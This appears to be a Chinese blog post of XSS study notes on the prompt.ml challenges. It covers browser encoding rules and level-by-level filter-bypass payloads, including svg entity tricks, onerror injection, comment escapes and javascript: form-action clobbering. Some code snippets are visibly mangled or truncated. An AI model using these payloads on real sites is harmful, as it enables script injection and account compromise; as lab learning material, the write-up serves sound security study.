xss学习笔记
前言
这一次萌生去练习xss还是因为打了rwctf,感觉这块自己还是不太熟悉,所以挑出来练一下。下面的题目解析并不是按照顺序,而是按照涉及的不同问题来分类的。
练习网站是prompt.ml,整体做下来虽然感觉做出的题目很少,但确实学到了不少东西。
关于几种编码
xss的payload中使用的编码无非几种
- urlencode
- html实体编码
- unicode
- base64
- ascii(string.fromCharCode)
这里有一篇文章很好地梳理了各种浏览器对xss的各种编码的解析 http://bobao.360.cn/learning/detail/292.html
主要的内容有这么几点:
html元素共有五种:
空元素(如br,area等等)这些元素不能容纳任何内容
纯文本元素(典型的是script和style),这些元素只能容纳纯文本,也就是说,这些元素中间容纳的内容并不会被html解码。所以在script标签中使用html编码绕过waf是不会被解析的。
RCDTA元素,能容纳html实体引用和文本,也就是说,RCDTA元素中的html编码的字段会被解码。例如textarea元素和title元素。但是textarea和title内的元素标签并不会被解析。
外部元素,例如svg和MathML命名空间,内部能解析html实体,注释,文本,其他元素还有CDATA段。
其余的所有元素,解析内容和外部元素一样除了不能解析CDATA段。
这里有一道题就用到了外部实体prompt第二关1
2
3
4
5
6
7function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}这里过滤了=和(这造成了prompt函数无法完成,思路应该是用某种编码绕过waf。上面讲到的svg标签中不仅可以容纳子标签还可以解析html实体,所以最后的payload应该是
<svg><script>alert(1)</script>
- url编码
- url解码往往发生在需要引入url上下文的时候(通常是引入外部url的时候),通常这里会先进行一轮html decode,然后才进行url decode,通常这里可以用html实体编码隐藏一些被waf过滤的东西。例如这段经典的payload
1
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
- url不能对协议和:进行解码,url合法的协议都应该是有ascii字母组成。
- url解码往往发生在需要引入url上下文的时候(通常是引入外部url的时候),通常这里会先进行一轮html decode,然后才进行url decode,通常这里可以用html实体编码隐藏一些被waf过滤的东西。例如这段经典的payload
- javascript编码
- javascript中可以用unicode或者hex代替函数或者变量的名称,但是例如(),>,=,’,”等等有特殊含义的符号不能如此处理。
- 通常javascript解析出现在script标签和可以调用javascipt的html标签属性处。
- javascript一些不可打印字符可以拿来过waf比如\u2028
html中一些小trick
非闭合标签,这和浏览器的容错有关,例如prompt的第二关
1
<img src=1 onerror=prompt(1) /
还是浏览器能兼容一些换行符比如\u2028,\r\n等等
1
2
3
4
5
6
7function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}这里的payload,刚好可以绕过正则的过滤,而type=image 则可以将input视为图片标签从而转化到img事件处理达到xss的形式
1
2" src type= "image" onerror=
"prompt(1)input标签的type,在某些情况下可以将input标签转化为img标签用
使用注释的一些小trick
html5中的闭合标签,例如prompt第三关
1
2
3
4html
<!-- -->
html5
<!-- --!>html中–> 会被解析为//,例如prompt第八关
这道题是典型的注释逃逸。过滤了换行和<,/注释符,还有
1
2
3
4
5
6
7
8
9
10function escape(input) }
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}这里有两个点,一个是通过unicode的换行符\u2028做到换行的功能,另外一个是通过–>会在html中被当做//来过滤剩下的未逃逸的部分
payload
1
prompt(1) -->
这里的payload有个处理的办法,就是将内容转化为\u2028prompt(1)\u2028放到console中得到编码后的串然后再提交。
多行标签内注入点,可以采用javascript块注释,html注释,还有根据浏览器的特殊标签来插入xss。
例如prompt第七关和第十五关
第七关
1
2
3
4
5
6
7
8function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}第十五关
1
2
3
4
5
6
7
8
9
10
11function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}
分别是用javascript的块注释和html的注释进行绕过的
需要注意的一点是,使用html的注释时,注释中不能存在>,这和注释的解析算法有关。弥补方法是添加svg标签。
payload 7
"><script>/#/prompt(1/#/)</script>
payload 15
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
逻辑问题
典型的逻辑问题就是二次过滤,因为这个过程给了通过waf来构造waf的机会。
典型的例子就是prompt的第10关
1 | function escape(input) { |
问题很明显,传入类似pr’ompt(1)的表达式能过第一个waf,并且可以利用第二个置空来出掉多余的’。
javascript的小tricks
javascript变量覆盖问题
prompt的第六关
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}javascript中出现同名属性和子tag时,使用.访问子tag更优先。这里通过构造子input标签的方法来绕过waf。
而这里document.form[0].action可能会访问form表单的第一个名为action的input标签从而绕过过滤。payload 6
javascript:prompt(1)#{“action”,”xxx”}
javascript的一些危险函数
replace()函数,主要是使用特殊字符串作为第二个参数的时候。
reference: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace
toUpperCase()函数,这个函数可能会将一些unicode 转为大写或者小写的ascii字母。
305 Original : ı [\u131] LowerCase : UpperCase : I
383 Original : ſ [\u17f] LowerCase : UpperCase : S
8490 Original : K [\u212a] LowerCase : k UpperCase :
64261 Original : ſt [\ufb05] LowerCase : UpperCase : ST
64262 Original : st [\ufb06] LowerCase : UpperCase : ST
- javascript的原型继承问题
javascipt通过成员访问函数访问属性时,如果查找不到,就会沿着继承链向上查找,其中所有的javascript对象都会继承一个叫__proto__的对象。可以通过修改__proto__对象的属性来达到某些目的。例如13关的waf当检查到不安全属性时,就会删除该属性。但如果通过原型链污染的方法来,将这个属性添加在原型中,使对象再次被访问时,获取原型的同名属性值来绕过waf。 - javascript的代码报错执行函数。
((prompt(1)))instanceof””
((prompt(1)))in”” 会先执行左边的表达式然后再执行in或者instanceof表达式从而执行函数。其他的小tricks
- 解析url时碰到@的时候会将后面的资源一并加载进来。
总结
- 感觉xss还是挺灵活的,各种payload用到了不少知识,挺值得进一步研究的。